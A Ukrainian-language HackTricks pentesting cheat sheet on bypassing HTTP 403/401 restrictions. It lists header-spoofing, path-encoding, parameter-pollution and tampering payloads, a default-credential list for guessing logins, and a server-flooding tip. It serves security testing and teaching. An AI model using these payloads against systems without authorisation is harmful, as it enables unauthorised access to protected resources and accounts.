403 & 401 Bypasses

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Миттєве налаштування для оцінки вразливостей та тестування на проникнення. Виконайте повний пентест з будь-якого місця за допомогою 20+ інструментів та функцій, які йдуть від реконструкції до звітування. Ми не замінюємо пентестерів - ми розробляємо власні інструменти, модулі виявлення та експлуатації, щоб дати їм можливість копати глибше, вибивати оболонки та веселитися.

Fuzzing HTTP Verbs/Methods

Спробуйте використовувати різні дієслова для доступу до файлу: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Перевірте заголовки відповіді, можливо, буде надана якась інформація. Наприклад, відповідь 200 на HEAD з Content-Length: 55 означає, що HEAD дієсло може отримати доступ до інформації. Проте вам все одно потрібно знайти спосіб витягти цю інформацію.

  • Використання HTTP-заголовка, подібного до X-HTTP-Method-Override: PUT, може перезаписати використане дієслово.

  • Використовуйте дієслово TRACE і, якщо вам дуже пощастить, можливо, у відповіді ви також побачите заголовки, додані проміжніми проксі-серверами, які можуть бути корисними.

Fuzzing HTTP Headers

  • Змініть заголовок Host на довільне значення (яке працювало тут)

  • Спробуйте використовувати інші User Agents для доступу до ресурсу.

  • Fuzz HTTP Headers: Спробуйте використовувати HTTP Proxy Headers, HTTP Authentication Basic та NTLM brute-force (лише з декількома комбінаціями) та інші техніки. Для цього я створив інструмент fuzzhttpbypass.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Якщо шлях захищений, ви можете спробувати обійти захист шляху, використовуючи ці інші заголовки:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • Якщо сторінка знаходиться за проксі, можливо, саме проксі заважає вам отримати доступ до конфіденційної інформації. Спробуйте зловживати HTTP Request Smuggling або заголовками hop-by-hop.

  • Fuzz спеціальні HTTP-заголовки, шукаючи різні відповіді.

  • Fuzz спеціальні HTTP-заголовки під час фаззингу HTTP Methods.

  • Видаліть заголовок Host, і, можливо, ви зможете обійти захист.

Фаззинг шляху

Якщо /шлях заблокований:

  • Спробуйте використовувати /%2e/шлях _(якщо доступ заблокований проксі, це може обійти захист). Спробуйте також_** /%252e**/шлях (подвійне кодування URL)

  • Спробуйте обхід Юнікоду: /%ef%bc%8fшлях (URL-кодовані символи подібні до "/"), тому коли вони будуть закодовані назад, це буде //шлях, і, можливо, ви вже обійшли перевірку імені /шлях

  • Інші обходи шляху:

  • site.com/секрет –> HTTP 403 Forbidden

  • site.com/СЕКРЕТ –> HTTP 200 OK

  • site.com/секрет/ –> HTTP 200 OK

  • site.com/секрет/. –> HTTP 200 OK

  • site.com//секрет// –> HTTP 200 OK

  • site.com/./секрет/.. –> HTTP 200 OK

  • site.com/;/секрет –> HTTP 200 OK

  • site.com/.;/секрет –> HTTP 200 OK

  • site.com//;//секрет –> HTTP 200 OK

  • site.com/секрет.json –> HTTP 200 OK (ruby)

  • Використовуйте весь цей список в таких ситуаціях:

  • /FUZZсекрет

  • /FUZZ/секрет

  • /секретFUZZ

  • Інші обходи API:

  • /v3/users_data/1234 --> 403 Forbidden

  • /v1/users_data/1234 --> 200 OK

  • {“id”:111} --> 401 Unauthriozied

  • {“id”:[111]} --> 200 OK

  • {“id”:111} --> 401 Unauthriozied

  • {“id”:{“id”:111}} --> 200 OK

  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (Забруднення параметрів JSON)

  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Забруднення параметрів)

Маніпуляція параметрами

  • Змініть значення параметра: З id=123 --> id=124

  • Додайте додаткові параметри до URL: ?id=124 —-> id=124&isAdmin=true

  • Видаліть параметри

  • Переупорядкуйте параметри

  • Використовуйте спеціальні символи.

  • Виконайте тестування меж у параметрах — вкажіть значення, такі як -234 або 0 або 99999999 (просто деякі приклади значень).

Версія протоколу

Якщо використовується HTTP/1.1, спробуйте використати 1.0 або навіть перевірте, чи підтримує він 2.0.

Інші обхідні методи

  • Отримайте IP або CNAME домену та спробуйте зв'язатися з ним безпосередньо.

  • Спробуйте навантажити сервер, надсилаючи звичайні запити GET (Це працювало для цього хлопця з Facebook).

  • Змініть протокол: з http на https або з https на http

  • Перейдіть на https://archive.org/web/ та перевірте, чи у минулому цей файл був доступний всесвітньо.

Перебір паролів

  • Здогадайтеся пароль: Перевірте наступні загальні облікові дані. Чи ви щось знаєте про жертву? Або назву завдання CTF?

  • Перебір паролів: Спробуйте базову, дайджестів та NTLM автентифікацію.

Загальні облікові дані
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

Автоматичні Інструменти

Миттєве налаштування для оцінки вразливостей та тестування на проникнення. Запустіть повний пентест з будь-якого місця за допомогою 20+ інструментів та функцій, які охоплюють реконструкцію та звітність. Ми не замінюємо пентестерів - ми розробляємо власні інструменти, модулі виявлення та експлуатації, щоб дати їм можливість краще досліджувати, виконувати команди та отримувати задоволення.

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated